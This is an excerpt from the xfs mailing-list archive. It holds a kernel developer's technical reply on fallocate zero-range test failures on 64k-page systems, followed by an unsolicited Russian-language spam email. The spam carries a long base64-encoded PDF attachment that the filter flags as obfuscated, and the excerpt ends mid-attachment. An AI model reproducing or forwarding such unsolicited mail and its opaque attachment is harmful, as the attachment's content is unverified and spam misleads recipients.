ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id YDjU1VPCyNkLWtyj for ; Wed, 26 Feb 2014 14:01:10 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsGoAOpiDlN5LJYePGdsb2JhbABagwY7gwhShDqgYASTBoVUgRwXAwEBAQE4NYInAQEFIwQLASMjEAgBAhEDAQIBAgIFIQICDwUlAwcMDhOHeA6Me5wHoGAXFoETjSsHgm41gRQEmDWVaig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Feb 2014 08:31:09 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WImXK-0005v5-34; Thu, 27 Feb 2014 09:01:06 +1100 Date: Thu, 27 Feb 2014 09:01:06 +1100 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: <20140226220106.GC29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393452070 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 03:24:18PM +0100, Lukáš Czerner wrote: > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > Date: Wed, 26 Feb 2014 08:50:11 +1100 > > From: Dave Chinner > > To: Lukáš Czerner > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > range > > > > On Tue, Feb 25, 2014 at 10:01:06PM +0100, Lukáš Czerner wrote: > > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > > > > Date: Wed, 26 Feb 2014 07:53:49 +1100 > > > > From: Dave Chinner > > > > To: Lukas Czerner > > > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > > > range > > > > > > > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > > > > This is copy of xfs/242. However it's better to make it file system > > > > > specific because the range can be zeroes either directly by writing > > > > > zeroes, or converting to unwritten extent, so the actual result might > > > > > differ from file system to file system. > > > > > > > > You could say the same thing about preallocation using unwritten > > > > extents. Yet, funnily enough, we have generic tests for them because > > > > all filesystems currently use unwritten extents for preallocation > > > > and behave identically.... > > > > > > > > This test is no different - all filesystems currently use unwritten > > > > extents, and so this test should be generic because all existing > > > > filesystems *should* behave the same. > > > > > > > > When we get a filesystem that zeros rather uses unwritten extents, > > > > we can add a new *generic* test that tests for zeroed data extents > > > > rather than unwritten extents. All that we will need is a method of > > > > checking what behaviour the filesystem has and adding that to a > > > > _requires directive to ensure the correct generic fallocate tests > > > > are run... > > > > > > Currently xfs/242 fails on xfs for me > > > > Really? Where's the bug report? I haven't seen a failure on xfs/242 > > on any of my test machines for at least a year, even on 1k block > > size filesystems... > > > > $ sudo ./check xfs/242 > > FSTYP -- xfs (debug) > > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > > > xfs/242 1s ... 0s > > Ran: xfs/242 > > Passed all 1 tests > > $ > > Here it is. > > xfs/242 fails on ppc64 with latest linus tree OK, that's a different kettle of fish. It's using 64k pages, right? > # uname -a > Linux ibm-p740-01-lp4.rhts.eng.bos.redhat.com 3.14.0-rc4+ #1 SMP Wed > Feb 26 08:59:48 EST 2014 ppc64 ppc64 ppc64 GNU/Linux > > # ./check xfs/242 > FSTYP -- xfs (non-debug) > PLATFORM -- Linux/ppc64 ibm-p740-01-lp4 3.14.0-rc4+ > MKFS_OPTIONS -- -f -bsize=4096 /dev/loop1 > MOUNT_OPTIONS -- -o context=system_u:object_r:nfs_t:s0 /dev/loop1 /mnt/test2 > > xfs/242 - output mismatch (see /root/xfstests/results//xfs/242.out.bad) > --- tests/xfs/242.out 2014-02-26 05:51:16.602579462 -0500 > +++ /root/xfstests/results//xfs/242.out.bad 2014-02-26 09:20:55.585396040 -0500 > @@ -1,76 +1,71 @@ > QA output created by 242 > 1. into a hole > 0: [0..7]: hole > -1: [8..23]: unwritten > +1: [8..23]: data > 2: [24..39]: hole > daa100df6e6711906b61c9ab5aa16032 So the data is correct, but the range got zeroes written to it rather than an unwritten extent. > (Run 'diff -u tests/xfs/242.out /root/xfstests/results//xfs/242.out.bad' to see the entire diff) > Ran: xfs/242 > Failures: xfs/242 > Failed 1 of 1 tests > > > Here is 242.out.bad The diff would have been better. /me goes off to diff the output Yeah, ok, the data in all the files is correct - the md5sums all match. What's different? Just about all unwritten extents are now written (i.e. data) or contain some portion of written extents. So, ZERO_RANGE has the following size threshold for converting blocks to unwritten extents vs just zeroing them: granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); So if this is a 64k page size machine, it's going to have different extent layout compared to a 4k page size machine. The file data will still be the same, the difference will be zeroed blocks instead of unwritten blocks, and that's exactly what we see. IOWs, the result in terms of data the application sees is correct, just the extent layout representing that zeroed data is different. Cheers, Dave. -- Dave Chinner david@fromorbit.com From yjrcxk@flytec.com Wed Feb 26 16:14:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.6 required=5.0 tests=HK_RANDOM_ENVFROM, HK_RANDOM_FROM,HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 726737F3F for ; Wed, 26 Feb 2014 16:14:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 49FFD304053 for ; Wed, 26 Feb 2014 14:14:07 -0800 (PST) X-ASG-Debug-ID: 1393452844-04cb6c5678772d0001-NocioJ Received: from mail.ivecoavto.ru (mail.ivecoavto.ru [94.24.250.178]) by cuda.sgi.com with ESMTP id c4UYy6l1AgFqusL8 for ; Wed, 26 Feb 2014 14:14:05 -0800 (PST) X-Barracuda-Envelope-From: yjrcxk@flytec.com X-Barracuda-Apparent-Source-IP: 94.24.250.178 Received: by mail.ivecoavto.ru (Postfix, from userid 5010) id B834221A41; Thu, 27 Feb 2014 04:14:03 +0600 (YEKT) Received: from Unknown (unknown [58.215.52.146]) (Authenticated sender: tarelkin@ivecoavto.ru) by mail.ivecoavto.ru (Postfix) with ESMTPA id 1BFBB218DC; Thu, 27 Feb 2014 04:13:55 +0600 (YEKT) Message-ID: <49911A40052A4046A1A4BC18D57E8A8B@jpevy> Reply-To: =?windows-1251?B?0sPO?= From: =?windows-1251?B?0sPO?= To: , , , Subject: =?windows-1251?B?yuDk4PHy8O7i++kg8/fl8g==?= Date: Wed, 26 Feb 2014 23:14:20 +0100 X-ASG-Orig-Subj: =?windows-1251?B?yuDk4PHy8O7i++kg8/fl8g==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00D3_01CF3348.7A8DD0D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.ivecoavto.ru[94.24.250.178] X-Barracuda-Start-Time: 1393452844 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_00D3_01CF3348.7A8DD0D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_00D4_01CF3348.7A8DD0D0" ------=_NextPart_001_00D4_01CF3348.7A8DD0D0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E9 =F3=F7=E5=F2 ------=_NextPart_001_00D4_01CF3348.7A8DD0D0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E9 =F3=F7=E5=F2
------=_NextPart_001_00D4_01CF3348.7A8DD0D0-- ------=_NextPart_000_00D3_01CF3348.7A8DD0D0 Content-Type: application/octet-stream; name="=?windows-1251?B?w+7x8+Tg8PHy4uXt7eD/IPDl4+jx8vDg9uj/?= =?windows-1251?B?IO/w4OIg7eAg6+jt5ent++Ug7uH65ery+y5w?= =?windows-1251?B?ZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?w+7x8+Tg8PHy4uXt7eD/IPDl4+jx8vDg9uj/?= =?windows-1251?B?IO/w4OIg7eAg6+jt5ent++Ug7uH65ery+y5w?= =?windows-1251?B?ZGY=?=" JVBERi0xLjQKJeLjz9MKMSAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0 aCAxMjc1L0hlaWdodCAxNzU1L0ZpbHRlci9EQ1REZWNvZGUvQ29sb3JTcGFjZS9EZXZpY2VSR0Iv Qml0c1BlckNvbXBvbmVudCA4L0xlbmd0aCAxNjAwMzI+PnN0cmVhbQr/2P/hABhFeGlmAABJSSoA CAAAAAAAAAAAAAAA/+wAEUR1Y2t5AAEABAAAAAoAAP/uAA5BZG9iZQBkwAAAAAH/2wCEABQQEBkS GScXFycyJh8mMi4mJiYmLj41NTU1NT5EQUFBQUFBRERERERERERERERERERERERERERERERERERE REQBFRkZIBwgJhgYJjYmICY2RDYrKzZERERCNUJERERERERERERERERERERERERERERERERERERE RERERERERERERP/AABEIBtsE+wMBIgACEQEDEQH/xACQAAEAAgMBAQAAAAAAAAAAAAAABQYCAwQB BwEBAAAAAAAAAAAAAAAAAAAAABAAAQMCBAMFBAUICAUEAQALAQACAxEEITESBUFRBmFxgSITkaEy FLHBQlIj8NHhYnIzNBXxgpKissJTFtJDcyREY4OTNeJUJTazw9N08qNkJhEBAAAAAAAAAAAAAAAA AAAAAP/aAAwDAQACEQMRAD8AuaIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIC IiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIg IiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIi AiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIi ICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAi IgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIPG144rF79FMCakDDt49yzRAREQEREBERAREQEREBE RAREQEREBERAREQERRN7a34eZLKUectqyUVDQPu8q8R70Esi5bbcba6dohkD3UJoOw0+n8sV1ICI iAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgI iICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiA iIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiI CIiAiIgIiICIiAiIgIiICIiAiIgIiICIiDnkZIxzTAGBpdWWuB7xTj3roREBERAREQEREBERAREQ eB1SRyXqIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIi AiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIi ICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAi IgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIC IiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIg IiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIqf1Nv9xayutIgAxzB56OD qnkcB4ivfXABcFzvvIWTNtnOAleC5reYC0W5rYMLnkfggmQnEeX4q++qpezbi2K/9fcpdWhjmseX F9HVp9mvDV2ceSD6GsGSNkBLCHAEg0NcRmFBbhvzzA2Xa2+uS4tdRj3aaDkKcwt3SwA22IgUqXk/ 23IJpERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBE RAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQE REBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERARFjrbWlRVBkiIgIiICIiAiIgIiICIi AiIgIiICIiAiIgIiICIiAiIgIiICIiAiIg5b+9jsIHXEtdLaV054mi0bdvVpuJ0wOq8DUWEEED6P YStm62Pz9rJb1oXDyk8xiPevnUAuNju2TTxGrS6gdgHYUwdxz4IPqSKr2vV7HhrrmF0UbiQJQdTa +wfnVnBriEHq+WbtuRuriUwlzYXu+HU6jqU8xHbQGnDDkrj1FNeW7mSRymO2cPTlc1moxkn4ueOW GXDzEKkbjZC1uJomEOZG7SDX2DhUjJ1BgaoOi1vJo7d85leTHphibqNG+o1wPdRrcKcaHgopWvbu nbu5sXMcWtZJomhBJ+KmeGQLSRxNQMFGXPTtzbXEVs9zC+b4SCaeOH1INO4vYyGC1aMWN9RzvvGU Nf7h5fBZdPw+vuEDK0o7X/YGr6lOXfSF1M2MiSMvawMfXUPhy4GtBRuTcgo3aNsnia3c/VZDHG7F zqk4YHygY1ypUEoPpCKG6fnnu4pLqYnRLI50TSa6W5fl3V4qZQFEbzv0O1ABwL5HCrWDDDmTw96j L/qmQOlbZRteyL4pnO8vhlXGoFCa5jBV1883UNwPWfFE5raAuOkHHLjU4oLfsG+v3YyB0ejQQah1 cHVoO/DPj2KdUZs2zx7VEWMOp7qF7jxPZ2cu9SaAsPTbrMlPMRpr2BZogIiICIiAiIgIiICIiAiI gIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICI iAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgI iICIiAiIgLVLDG+msY1FD2ravKIPUREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAR EQFz3V9BZgGeRrActRz7ua6FQ/nbaLc533o9QiURsEmLWMJdqOR+HCg7UFgl6r26MGkhcRwax2Pt ACpm73LNzmfdRuOpzmsjhI82nTnhUZ5DjX22K+3varWYwC3a/S7S8iNoApnSuePd3rvsrnZpCLmH 0Y3N5hrHN8MOdK+woOTa9g+W2+UXJJMzNTmYUZQYfFTzDjiBXDhVaNn3+Oy2sOmOp8bjG1gPmPEd wzx7Oa27pvP81jdY7Y0yvePO6mlobxxdTuxwx5qu7Xsd3czPbGWxy27m1EnOp7HA5dxQWG06mt91 JsruP0xL5Aa6hjlwFDlQ4444KpXcc1hM62fXyF4FRgQ7ylwB+8OPdTIKxX/Tm63ZE8skckjRhQ6T 3DygfQK171xO2PdtymAuQQWjT6khGAHdi7wrianOqDki6k3CGNsUctGsAa3yNyGXBc91vF3duY+Z +p0ddJ0t4+GOXFTI6Ju64yR0/rf8K9HRN1jWSPs+L8yCO/3RuWfrf3Gf8K4LO0kvp2wx0L31zNMs SrCOiLmmMrK/1vzLW/pfcrGRsloQ91D5o3BpH9ohBN7z1A3ZtFpbxgvDG5nysGQHM4Ds4HFczeqG Xe3z+qNE7WFoDeOvygtxrhx5ZrjtemNylebqWX0pq4Eu1OyzqK92a5t82G5tYvm7ib1XVDTWtfaU E9tW3RX+zMtz5Q/UdQz1Bxx/LhgqdJZmwMjLoPZO2hhoPKSHYmvKmVP0GftJr3plrBdAPt5PstcK scfyy+HtUueqdrlj1PcajzCN0ZJqPAtry83ig57XrGF7B6sUmsCr9ADhhxzH6Peuq06rsrh+h+qI nIyigPiCaeNFEO64PqeWEen2u830UHdj3rl6k31t+PQjaHQgRva/7QeRXgaZEtLedeSC/ouXbsbW Gv8Aps5/dHPH24811ICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgI iICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiA iIgIiICIiAiIgIiICIiAiIgIiICIiDEDHsWSIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAi IgIiICIiAiIgIiICIiAiIgIiICIiAq9edMwyNuZG1dLN5mVp5TXVQd5wPZgrCsZGeo0sNQCCMM8U HzPaOn591Y6SMtaxpLau4upWmHhU9uFcljY2bbe/FnfRay5zYy3URQuIo6rc8PpVr6MFLOQZ/iu/ wtUJuP8A+0Df+rB9DEElfW0e07nayWlGeqWxPjANC2obXlx/tAOxNV17ICNxv6/eZ/mXTv8A/wCJ /wD1UP1rk2ANG4X+jLWPbV1fegsqKu9XXc1rasdA8sJeGktNDTSVi07xt0Qe4tumAN1Mx9QcwKZ9 51E50QWRFEWPUNpeP9Kpjlrp9OUaTX6PDPsUugIuC+3i0sB+PIAT9kYu9gUS+83XdKfJR/LwnESy /EfDHA9gP7SCyqvdYEjbzTi9v1qP2W4mt92ks553yjS5rdbiQXCjq0qaYByker//AK8/tsQc9/bs v92gtp8YmReoG8zXj7B7FHdYwQ23oxwRsYHanOLGNaTSlMQO1Sjv/vIu23/4lH9c/Fb90n+VBwP6 VkbY/OiQE6PVMen7NK/FXOnYpnp7Zra52z8Vur1iXOPEaSQ2nKmP9ojJSTv/AKY//wBL/wDw06X/ APrYf6/+NyCXY0MaGjICgWSIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgI iICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiA iIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiI CIiAiIgIiICIiAiIgIiICIiAiIgIiICIiCqdEz6oJoiPheH1/aH/AOKhJ7qO73xk0Jqx00ND3aR9 SnNu07Vuk1k4eS5IfERQADzGn0tHd2qCNmzYdwDrtjnxNJfCWcaHynw4jnTNuYWzqAmtoKYfNQ4+ 1c2xgjcr6pr5m/5lzNvJt9ntxAxwgge2WSWQU1OZ3YeFftZUC6tlJO5X1WlvmZn44+OY7EEf1y7+ HbX/AFCR/Z/Srk3IKh9Zea+iacvTb/icr4BRBy3u221+ALiMPpkcj7RiqtfbZNt88NnbXT2Q3Di0 BxPkpTKnMnCmnkTxV0UHujtO5WJoTjPl2tH0ZoOiw2K0swCGB8mZleKuLueOXgpREQUx4bH1ICaA HH2xfnUn1f8A/Xu/aYoXqBog3mGTPV6TiD+1p+pTnVra7c88nM+lBxNke7f2BzaARaWHmNNa+2o8 Fy9c/Fb90n+Vde7WN1BNFuli3U9rGtkYG1J7e3DymmIAFOyG3Dcpt+fHZ+gGzhx0mpqBxHsz7sgg sEW4Qz7G97T8EJhdX7+jTTxJFO9dnTQI22Gopg7P9oqH3SB1pZW+zwAOlmI18cjVx501ZGnwgq1W 8LbeJkLPhY1rBXk0UQbUREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERA REQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQERE BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERARE QEREBERAREQEREBERAREQEREBERARFhK/wBNjn0rpBNO5BXdyHzu720EY/h/xZHjGlcQD7B/aXN1 juMRY2yYA+YkOPEs/wDyP0d4XT0jC50Ml5KdUkzsya4N/TXwooW4LrTf9MLi0Plj1UOYfpc4Hsqc kFg2Xf4boMtZS5twGtb+IPjNM/HOh54VXm2//bXvdF9Cz6ghj9S0m0j1PmYWaqY6ak07qrXtp/8A 1rekCv7oe5BA9XH/APWLOxjP8RV/VK3Bjb7f2QElugAamnGrWmQEe5XVAUHusYk3KwBJGMxwNMmg /VjzCnFDbif/ANZWI/8A6j/AgmUREFF6tcGblA52QYwn+25T3VeO2yd7P8QUR11/4/8A7v8AkUt1 P/8AVyf+3/iag33m8Q7bbRPeC5z2j0425k0/ox9yqf8AOZrbc/n54XRskGlzCMSygGBIHEA8OSlr AG43j8UVEVuwxdmDPb8TvyCw64nexkMTSQx5eXDnp00+lB1b270ZLbeIRrYzB/8A035Ee0+JCsbH h7Q5pqCKghcPygO3/LONR6Pp6mjV9mlRz5jmuHpO5fPYNDzX03GMHsFCPZWncgnkREBERAREQERE BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERARE QEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEReBB6iIgIiICIi AiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgLl 3B2i1mdyjef7pXUo/e5BHYTuP+m5v9oU+tBG9HOrYUoBR7sRxyxP0dwCgr/z9QCn+rD7g1WTpVob tsRHEvJ/tFVnb3C538urqb6kpBGODQ6n0BBZ9/8A/E//AKqH61z7Kde437uTmN/xfmXRuw9S9soT 8Je+TxjbULk6ao65vpAcXTZcaVfT6fcg4N72TcH3z7y04gFpY/S4eUNPL3cPYuRm97zYis7HOb/6 sZ78xT9FFf0QU2DrgYCeHvcx31EfWvLjqW0uLy1uBqayL1tepuPmaAMieKtU9hbXBrNEx55uaCVG ydK7c92r0y3GpDXOoff9FEEXc9bxgEW8LieBkIHuFfpC4HdRbvfD/toyAOMUZd9OpXO32y1tiDDE xpH2g0V9ua60Hz9/T+8bi4G6PE0MslQK8gK0r2BT3Ujfl9p9J7i5wETNRzcQRj40qrEqx1q4CzY3 nKP8LkHthhvUjaU027G55/B7OWHLnVcPXJxtx/1P8qltrlbdbhcztxaI7cM/Ze3Uq/1s8m7jZXAR g+Jc78wQW+2kczb2SNoHCFrhrOFdH2jy5lRvR7C3b6n7T3Ee4fUs903S0t9vc2ORri6PRG1jxU18 tRxw+qi3dNROi26FrhQkOd4OcSPdRBMIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICI iAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgI iICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiA iIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAsXsD2lrhUEUIPJZIgqp6QLXPZDcPjt3kVjzr 34gd2BWO3bfBBvBjtm0ZBFic/M7n2kFWxVrpWQ/9zFMP+4ErnSnDj3dod2Y9qDm33eGwbjAYB60k TXjS0/bf5aYVx7M1C7Dv/wDLppX3AL2y+Z5HxahXuzqa/lXi3GwudpuKOJDq6mStwr2g8+fJWfpb ZZY3PvLtuLwWtbIMTUglxr3d+Z5VCWZ1NtryAJgCebXD6Quv+bWX/wCkRf8AyN/Oq5uV5sbXekIB K4f6DaD+0C2vhVcLJtlqS+0laO9x/wAyC9RTxzNDonNc05FpBHuWxVKDYto3QF9k9zdOB0E4HhUP Ffz4rX8rvE8p258pbCzH16ULmZAVGZ7K1zqTggtM19b250zSsYeT3gfSuaTe7CNpc6eOg+64OPsF Sq9ebds+1n05GPnlpX0wST3nTpA/LBcoFgcBts3tfX6e0IJ+Xqzbo2ktkLz91rHV94A96p+/7rNu MoLmuZCMYmuFMDTHtr7Bw5m0bTfbTdyaI4WQzNNQHsaDX9U9nLA8hgsurtv+YtRcNdR0FXYmgIdS vjgKezEkIIzoy7iifLBI6kry3SDx0g4eH9CkL21hl3X07xupk8WiE8i3E48Hcqc+1Qew7FPuUovJ 3ObGDq1187ncwew5u9mOU7u87J90tLZmL43F7y3hxp7BU9lEGy26QsYHiQ65KY6ZCC32ACvdkrCi ICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAi IgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIC IiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIg IiICIiAiIgIi5r+dtvA+QvEdGnS92QdTDv7uKBeX0Fiz1Lh4Y3tzPcMyvntzuMt5fSXlg0xFrS9x B+yzi7hjh5cq0GJz4b3dbm/LTcP16QQ3ygUrnkFcOl9iNtE64uQC6ZmkMONGHHHh5sMOHtCDhstr u9/LZ7+asIHlDHNrXub5WnnUauFOI7HdLPiidHJevFuB8BwaOOPmpTwXsvT97Yvc7ap9Mbjq9J5y 7q1B8aYUqStI2Ldr6jb64pEfiaHVPdQAN95A4II5u8vjlda7Z6VtEC7TIc30rm59c+FcsMaLqbue 5NaXm9t3DSTi5tfABoNezLHHjTZsOw2d5DN67CXNlfG1+og0AHI09y7f9lWX35f7Tf8AhQRGwb9F avuJrx3nk0EaGfEW6q5ADlyrx4qX/wB62X3Jf7Lf+JSltsdhaHVHC2o4u83+KtFu02spIJjeB5aH SdNKVb7sQgoV1urn7nJcWc3pNeQNbq6aaQMRQ/Quqe/vnMo/cIqVI8hcD/cjrTty5Yqy3XTG33AP 4ehx+1GdNPD4fctEPR1hGau1ydj3f8Iagrtnex7pKLTcy133LkUY4U4aqUIOOYzPOinD0hHJJWee SSMV0tccRXtx41OAH5+C72O1dusdkxuiJ0Jd5Sa182OP5YLY3YN4g/DguR6Yq1vnePL3UNPDLgUE XuGzXO0SCO3m1GY6WsYXNe4doGFOGf109uBd9OXglcRK+RlS94JBJzFTjUc65UrnRWfaunG2UvzU 8hmuODjXDCnPHDn7F1b3tLd0g9MENkadUbjz5HsPHwONKIPNn3yDdWnR5ZWjzRn6RzH5ECoUqvj+ p9tKfSfRzS5ofG492BzofoX0bpvcILu1EcILTEA1zXGp768a+HcgmkREBERAREQEREBERAREQERE BERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERARE QEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBE RAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAVL60uZnPitA3yH zgivmd8NPDxzCui1vhje5r3NBc34SRiO7kgqGydJtewybg0gn4Y60wpmaHPswpTHNXCKJsLGxMFG sAa0dgwCzRAREQVWbp29t5HP265LGuc5xY8kAE91Qf7IpgtXodRveYzI0NxGv8Onubq91Vb0QVb/ AGtLdkv3C5c954MyHt+gAUWTuirIjB8gPOrf+FWdEFV/27f2eFhdENrXRJWg/wAQP9kLE7fv9wCy S4axvNp0k9xa2vvCtiIILadgNnN83cSumnI01OQ9tSeQOGHBTqIgIiIIDc+mLW6hLbdrYpQS5rgM Kngf1f8ADwwqDBbHYbltu4CIMIjJpI7STG5o5Op/ZyNcDxCviICIiAiIgIiICIiAiIgIiICIiAiI gIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICI iAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICLF+rSdFNXCuS9FaY5oPUREBERAREQEREBERAR 